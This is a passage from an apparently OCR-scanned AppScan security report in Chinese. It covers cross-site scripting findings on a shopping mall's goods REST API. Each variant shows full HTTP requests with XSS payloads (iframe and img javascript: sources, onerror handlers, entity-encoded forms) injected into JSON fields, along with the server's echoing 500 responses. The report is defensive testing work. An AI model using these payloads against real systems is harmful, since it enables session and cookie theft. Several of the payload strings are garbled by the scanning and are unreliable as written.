Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": "
                  105190<iframe src=javascript:alert(8976)>",
 "stockqty": "+12",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:25 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '105190 <i frame
src=javascript:alert(8976)>': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@5308e59d; line: 1, column: 2] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["goodsid"])
```

变体-|2/4

差异: 参数 从以下位置进行控制: 105190 至: 105190

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 89
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": "
                   105190<img src=javascript:alert(8984)>",
 "stockqty": "+12",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:25 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '105190 <img
src=javascript:alert(8984)>': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@3fba462b; line: 1, column: 2] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["goodsid"])
```

变体-|3/4

差异: 参数 从以下位置进行控制: 105190 至:

105190<img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x73;%26%23x73;%26%23x74;%26%23x3a;alert%26%23x28;9013%26%23x29;>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 154
 sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
     "goodsid": "105190<img
src = \&\#x6a; \&\#x61; \&\#x76; \&\#x76; \&\#x61; \&\#x73; \&\#x63; \&\#x72; \&\#x70; \&\#x74; \&\#x3a; alert \&\#x28; 9013 \&\#x29; >", alert \&\#x28; 9013 \&\#x29; > ", alert \&\#x29; > ", 
    "stockqty": "+12",
   "departmentid": 1670
```

```
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,POST,HEAD,PUT,DELETE,OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:25 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.lang.Long from String value '105190 simg
src=javascript:alert(9013)>':
not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@56436323; line: 1, column: 2] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["goodsid"])
```

变体-|4/4

差异: 参数 从以下位置进行控制: 105190 至: 105190

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 88
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": "
                  105190<img src=x onerror=alert(9036)>",
 "stockqty": "+12",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:26 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '105190<img src=x
onerror=alert(9036)>': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@1f0231fc; line: 1, column: 2] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["goodsid"])
```

问题 14 / 21 Toc

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsonoffdetail/updateGoodsOnOff
实体:	->"goodsonoff"[0]->"status" (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/8

差异: 参数 从以下位置进行控制: 1 至: 1<iframe src=javascript:alert(8790)>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 121
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status": "
                                  1<iframe src=javascript:alert(8790)>"
                }
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '1<a href="fiftamesacript:alert(8790">fiftamesacript:alert(8790)</a>': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@2823ec93; line: 1, column: 71] (through reference
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["status"])
```

变体-|2/8

差异: 参数 从以下位置进行控制: 1 至: 1

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 118
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                  "enterpriseid": 55,
                  "goodsid": 105190,
                  "departmentid": 1670,
                  "status": "
                                     1<img src=javascript:alert(8797)>"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '1<img src=javascript:alert(8797)>': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@5f755d5b; line: 1, column: 71] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["status"])
```

变体-|3/8

差异: 参数 从以下位置进行控制: 1 至:

1<img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x76;%26%23x73;%26%23x73;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert%26%23x28;8822%26%23x29;>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 183
sessionId: c5b8689al1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
```

```
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status": "1<img
src=jvvascript:alert(8822)>"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '1<img
src=&#x6a;&#x76;&#x76;&#x81;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;alert&#x28;8822&#x29;>':
not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@3f19b4c2; line: 1, column: 71] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["status"])
```

变体-|4/8

差异: 参数 从以下位置进行控制: 1 至: 1

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 117
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status": "
                                  1<img src=x onerror=alert(8823)>"
        1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
```

```
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:22 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.lang.Long from String value '1<img src=x
onerror=alert(8823)>': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@2fb043f9; line: 1, column: 71] (through reference chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["status"])
```

变体-|5/8

差异: 参数 从以下位置进行控制: 0 至:

0<img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x73;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert%26%23x28;8912%26%23x29;>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 183
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
   "goodsonoff": [
                                           "enterpriseid": 55,
                                           "departmentid": 1670,
                                           "goodsid": 105190,
                                           "status": "0<img
src = \& \#x6a; \& \#x76; \& \#x76; \& \#x73; \& \#x63; \& \#x72; \& \#x69; \& \#x70; \& \#x74; \& \#x3a; alert \& \#x28; \\ 8912 \& \#x29; > " alert & \#x28; & \#x3a; alert & \#x28; & \#x3a; alert & \#x28; \\ 8912 \& \#x3a; & \#x3a; alert & \#x3a; & \#x3a; & \#x3a; \\ 8912 \& \#x3a; & \#x3a; & \#x3a; & \#x3a; \\ 8912 \& \#x3a; & \#x3a; & \#x3a; & \#x3a; \\ 8912 \& \#x3a; \\ 8
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with.content-type.sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '0<img
src=javaascript:alert(8912)>':
not a valid Long value
  at [Source: io.netty.buffer.ByteBufInputStream@50bb4507; line: 1, column: 71] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["status"])
```

变体-|6/8

差异: 参数 从以下位置进行控制: ① 至: O<iframe src=javascript:alert(8921)>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 121
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "departmentid": 1670,
                 "goodsid": 105190,
                 "status": "
                                   0<iframe src=javascript:alert(8921)>"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '0<iframe
src=javascript:alert(8921)>': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@44674158; line: 1, column: 71] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["status"])
```

变体-|7/8

差异: 参数 从以下位置进行控制: 0 至: 0

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 117
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
```

```
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "departmentid": 1670,
                 "goodsid": 105190,
                 "status": "
                                   0<img src=x onerror=alert(8924)>"
        1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '0<img src=x
onerror=alert(8924)>': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@2d094fcf; line: 1, column: 71] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["status"])
```

变体-|8/8

差异: 参数 从以下位置进行控制: ① 至: O

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 118
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "departmentid": 1670,
                 "goodsid": 105190,
                 "status": "
                                   0<img src=javascript:alert(8932)>"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
```

```
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.lang.Long from String value '0<img
src=javascript:alert(8932)>': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@50220153; line: 1, column: 71] (through reference chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["status"])
```

问题 15 / 21 Toc

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/updateGoodsStock
实体:	->"stockqty" (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/4

差异: 参数 从以下位置进行控制: +12 至: +12<iframe src=javascript:alert(8980)>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 90
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "
                    +12<iframe src=javascript:alert(8980)>",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
```

```
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:25 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.math.BigDecimal from String value '+12 <iframe
src=javascript:alert(8980)>': not a valid representation
at [Source: io.netty.buffer.ByteBufInputStream@e69f38; line: 1, column: 18] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["stockqty"])
```

变体-|2/4

差异: 参数 从以下位置进行控制: (+12) 至:

+12<img%20src%3D%26%23x6a; %26%23x61; %26%23x76; %26%23x61; %26%23x73; %26%23x63; %26%23x72; %26%23x69; %26%23x70; %26%23x74; %26%23x3a; alert%26%23x28; 9017%26%23x29; >

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 152
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
{\tt Referer:\ http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html}
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
   "goodsid": 105190,
  "stockqty": "+12<img
src = \&\#x6a; \&\#x61; \&\#x76; \&\#x61; \&\#x73; \&\#x63; \&\#x72; \&\#x69; \&\#x70; \&\#x74; \&\#x3a; alert \&\#x28; 9017 \&\#x29; >", alert \&\#x28; 9017 \&\#x29; > || alert \&\#x29; > || 
  "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openrestv
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:26 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.math.BigDecimal from String value '+12<img
src=javascript:alert(9017)>':
not a valid representation
  at [Source: io.netty.buffer.ByteBufInputStream@7a7dcle9; line: 1, column: 18] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["stockqty"])
```

变体-|3/4

差异: 参数 从以下位置进行控制: (+12) 至: (+12

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 87
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "
                     +12<img src=javascript:alert(9031)>",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:26 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.math.BigDecimal from String value '+12<img
    javascript:alert(9031)>': not a valid representation
at [Source: io.netty.buffer.ByteBufInputStream@57711598; line: 1, column: 18] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["stockqty"])
```

变体-|4/4

差异: 参数 从以下位置进行控制: (+12) 至: (+12

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 86
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "
                    +12<img src=x onerror=alert(9034)>",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
```

```
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:26 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.math.BigDecimal from String value '+12<img src=x
onerror=alert(9034)>': not a valid representation
at [Source: io.netty.buffer.ByteBufInputStream@65ad744; line: 1, column: 18] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["stockqty"])
```

问题 16 / 21 Toc

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsonoffdetail/updateGoodsOnOff
实体:	->"goodsonoff"[0]->"enterpriseid" (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理

变体-|1/8

差异: 参数 从以下位置进行控制: (55) 至: (55<iframe src=javascript:alert(8862)>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 121
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": "
